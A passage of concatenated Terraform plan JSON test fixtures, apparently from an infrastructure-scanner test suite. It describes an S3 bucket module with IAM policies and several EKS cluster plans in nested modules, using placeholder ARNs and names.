"var.object_lock_configuration.rule.default_retention.mode", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "years": { "references": [ "var.object_lock_configuration.rule.default_retention.years", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } } ] } ], "token": { "references": [ "var.object_lock_configuration.token", "var.object_lock_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.object_lock_enabled", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] } }, { "address": "aws_s3_bucket_ownership_controls.this", "mode": "managed", "type": "aws_s3_bucket_ownership_controls", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "local.attach_policy", "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "rule": [ { "object_ownership": { "references": [ "var.object_ownership" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.control_object_ownership" ] }, "depends_on": [ "aws_s3_bucket_policy.this", "aws_s3_bucket_public_access_block.this", "aws_s3_bucket.this" ] }, { "address": "aws_s3_bucket_policy.this", "mode": "managed", "type": "aws_s3_bucket_policy", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "policy": { "references": [ "data.aws_iam_policy_document.combined[0].json", "data.aws_iam_policy_document.combined[0]", "data.aws_iam_policy_document.combined" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] } }, { "address": "aws_s3_bucket_public_access_block.this", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "provider_config_key": "aws", "expressions": { "block_public_acls": { "references": [ "var.block_public_acls" ] }, "block_public_policy": { "references": [ "var.block_public_policy" ] }, "bucket": { "references": [ "local.attach_policy", "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "ignore_public_acls": { "references": [ "var.ignore_public_acls" ] }, "restrict_public_buckets": { "references": [ "var.restrict_public_buckets" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_public_policy" ] } }, { "address": "aws_s3_bucket_replication_configuration.this", "mode": "managed", "type": "aws_s3_bucket_replication_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "role": { "references": [ "var.replication_configuration[\"role\"]", "var.replication_configuration" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.replication_configuration" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_request_payment_configuration.this", "mode": "managed", "type": "aws_s3_bucket_request_payment_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "payer": { "references": [ "var.request_payer" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.request_payer" ] } }, { "address": "aws_s3_bucket_server_side_encryption_configuration.this", "mode": "managed", "type": "aws_s3_bucket_server_side_encryption_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.server_side_encryption_configuration" ] } }, { "address": "aws_s3_bucket_versioning.this", "mode": "managed", "type": "aws_s3_bucket_versioning", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "mfa": { "references": [ "var.versioning[\"mfa\"]", "var.versioning" ] }, "versioning_configuration": [ { "mfa_delete": { "references": [ "var.versioning[\"mfa_delete\"]", "var.versioning", "var.versioning[\"mfa_delete\"]", "var.versioning" ] }, "status": { "references": [ "var.versioning[\"enabled\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.versioning" ] } }, { "address": "aws_s3_bucket_website_configuration.this", "mode": "managed", "type": "aws_s3_bucket_website_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.website" ] } }, { "address": "data.aws_canonical_user_id.this", "mode": "data", "type": "aws_canonical_user_id", "name": "this", "provider_config_key": "aws", "schema_version": 0 }, { "address": "data.aws_elb_service_account.this", "mode": "data", "type": "aws_elb_service_account", "name": "this", "provider_config_key": "aws", "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_elb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.combined", "mode": "data", "type": "aws_iam_policy_document", "name": "combined", "provider_config_key": "aws", "expressions": { "source_policy_documents": { "references": [ "var.attach_elb_log_delivery_policy", "data.aws_iam_policy_document.elb_log_delivery[0].json", "data.aws_iam_policy_document.elb_log_delivery[0]", "data.aws_iam_policy_document.elb_log_delivery", "var.attach_lb_log_delivery_policy", "data.aws_iam_policy_document.lb_log_delivery[0].json", "data.aws_iam_policy_document.lb_log_delivery[0]", "data.aws_iam_policy_document.lb_log_delivery", "var.attach_require_latest_tls_policy", "data.aws_iam_policy_document.require_latest_tls[0].json", "data.aws_iam_policy_document.require_latest_tls[0]", "data.aws_iam_policy_document.require_latest_tls", "var.attach_deny_insecure_transport_policy", "data.aws_iam_policy_document.deny_insecure_transport[0].json", "data.aws_iam_policy_document.deny_insecure_transport[0]", "data.aws_iam_policy_document.deny_insecure_transport", "var.attach_policy", "var.policy" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_insecure_transport", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_insecure_transport", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "Bool" }, "values": { "constant_value": [ "false" ] }, "variable": { "constant_value": "aws:SecureTransport" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyInsecureTransport" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_insecure_transport_policy" ] } }, { "address": "data.aws_iam_policy_document.elb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "elb_log_delivery", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "references": [ "data.aws_elb_service_account.this" ] }, "type": { "constant_value": "AWS" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_elb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.lb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "lb_log_delivery", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_lb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.require_latest_tls", "mode": "data", "type": "aws_iam_policy_document", "name": "require_latest_tls", "provider_config_key": "aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "NumericLessThan" }, "values": { "constant_value": [ "1.2" ] }, "variable": { "constant_value": "s3:TlsVersion" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyOutdatedTLS" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_require_latest_tls_policy" ] } } ], "variables": { "acceleration_status": { "default": null, "description": "(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended." }, "acl": { "default": null, "description": "(Optional) The canned ACL to apply. Conflicts with `grant`" }, "attach_deny_insecure_transport_policy": { "default": false, "description": "Controls if S3 bucket should have deny non-SSL transport policy attached" }, "attach_elb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ELB log delivery policy attached" }, "attach_lb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ALB/NLB log delivery policy attached" }, "attach_policy": { "default": false, "description": "Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)" }, "attach_public_policy": { "default": true, "description": "Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)" }, "attach_require_latest_tls_policy": { "default": false, "description": "Controls if S3 bucket should require the latest version of TLS" }, "block_public_acls": { "default": false, "description": "Whether Amazon S3 should block public ACLs for this bucket." }, "block_public_policy": { "default": false, "description": "Whether Amazon S3 should block public bucket policies for this bucket." }, "bucket": { "default": null, "description": "(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name." }, "bucket_prefix": { "default": null, "description": "(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket." }, "control_object_ownership": { "default": false, "description": "Whether to manage S3 Bucket Ownership Controls on this bucket." }, "cors_rule": { "default": [], "description": "List of maps containing rules for Cross-Origin Resource Sharing." }, "create_bucket": { "default": true, "description": "Controls if S3 bucket should be created" }, "expected_bucket_owner": { "default": null, "description": "The account ID of the expected bucket owner" }, "force_destroy": { "default": false, "description": "(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable." }, "grant": { "default": [], "description": "An ACL policy grant. Conflicts with `acl`" }, "ignore_public_acls": { "default": false, "description": "Whether Amazon S3 should ignore public ACLs for this bucket." }, "intelligent_tiering": { "default": {}, "description": "Map containing intelligent tiering configuration." }, "lifecycle_rule": { "default": [], "description": "List of maps containing configuration of object lifecycle management." }, "logging": { "default": {}, "description": "Map containing access bucket logging configuration." }, "object_lock_configuration": { "default": {}, "description": "Map containing S3 object locking configuration." }, "object_lock_enabled": { "default": false, "description": "Whether S3 bucket should have an Object Lock configuration enabled." }, "object_ownership": { "default": "ObjectWriter", "description": "Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL." }, "owner": { "default": {}, "description": "Bucket owner's display name and ID. Conflicts with `acl`" }, "policy": { "default": null, "description": "(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide." }, "replication_configuration": { "default": {}, "description": "Map containing cross-region replication configuration." }, "request_payer": { "default": null, "description": "(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information." }, "restrict_public_buckets": { "default": false, "description": "Whether Amazon S3 should restrict public bucket policies for this bucket." }, "server_side_encryption_configuration": { "default": {}, "description": "Map containing server-side encryption configuration." }, "tags": { "default": {}, "description": "(Optional) A mapping of tags to assign to the bucket." }, "versioning": { "default": {}, "description": "Map containing versioning configuration." }, "website": { "default": {}, "description": "Map containing static web-site hosting or redirect configuration." } } } }, "s3_module": { "source": "./module", "module": { "resources": [ { "address": "aws_s3_bucket.module_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "module_bucket", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "testing" } }, "schema_version": 0 }, { "address": "aws_s3_bucket_public_access_block.module_bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "module_bucket", "provider_config_key": "aws", "expressions": { "block_public_acls": { "constant_value": true }, "block_public_policy": { "constant_value": true }, "bucket": { "references": [ "aws_s3_bucket.module_bucket.id", "aws_s3_bucket.module_bucket" ] }, "ignore_public_acls": { "constant_value": true }, "restrict_public_buckets": { "constant_value": true } }, "schema_version": 0 } ], "module_calls": { "s3_submodule": { "source": "./sub", "module": { "resources": [ { "address": "aws_s3_bucket.submodule_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "submodule_bucket", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "testing" } }, "schema_version": 0 }, { "address": "aws_s3_bucket_public_access_block.submodule_bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "submodule_bucket", "provider_config_key": "aws", "expressions": { "block_public_acls": { "constant_value": true }, "block_public_policy": { "constant_value": true }, "bucket": { "references": [ "aws_s3_bucket.submodule_bucket.id", "aws_s3_bucket.submodule_bucket" ] }, "ignore_public_acls": { "constant_value": true }, "restrict_public_buckets": { "constant_value": true } }, "schema_version": 0 } ] } } } } } } } }, "relevant_attributes": [ { "resource": "module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket", "attribute": [ "id" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "id" ] }, { "resource": "module.s3_bucket.data.aws_canonical_user_id.this", "attribute": [ "id" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "bucket_domain_name" ] }, { "resource": "module.s3_bucket.aws_s3_bucket_website_configuration.this[0]", "attribute": [ "website_endpoint" ] }, { "resource": "module.s3_module.aws_s3_bucket.module_bucket", "attribute": [ "id" ] }, { "resource": "module.s3_bucket.aws_s3_bucket_policy.this[0]", "attribute": [ "id" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "bucket_regional_domain_name" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "hosted_zone_id" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "region" ] }, { "resource": "module.s3_bucket.aws_s3_bucket.this[0]", "attribute": [ "arn" ] }, { "resource": "module.s3_bucket.aws_s3_bucket_website_configuration.this[0]", "attribute": [ "website_domain" ] }, { "resource": "aws_s3_bucket.root_bucket", "attribute": [ "id" ] } ] } ================================================ FILE: tests/terraform/runner/resources/plan_resources_ids/tfplan.json ================================================ { "format_version":"0.1", "terraform_version":"0.13.4", "planned_values":{ "root_module":{ "child_modules":[ { "address":"module.child_0", "child_modules":[ { "resources":[ { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_c" }, { "resources":[ { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_b" }, { "resources":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_a" } ] } ] } }, "resource_changes":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_a", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_b", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_c", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } } ], "configuration":{ "root_module":{ "module_calls":{ "child_0":{ "source":"./module", "module":{ "module_calls":{ "child_1_a":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_a:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_b":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_b:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_c":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_c:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_resources_ids_with_nested_modules/tfplan.json ================================================ { "format_version":"0.1", "terraform_version":"0.13.4", "planned_values":{ "root_module":{ "child_modules":[ { "address":"module.child_0", "child_modules":[ { "resources":[ { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_c" }, { "resources":[ { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_b" }, { "resources":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_a" } ] } ] } }, "resource_changes":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_a", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_b", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_c", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } } ], "configuration":{ "root_module":{ "module_calls":{ "child_0":{ "source":"./module", "module":{ "module_calls":{ "child_1_a":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_a:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_b":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_b:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_c":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_c:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_root_module_resources_no_values/tfplan.json ================================================ { "format_version":"0.1", "terraform_version":"0.13.4", "planned_values":{ "root_module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, 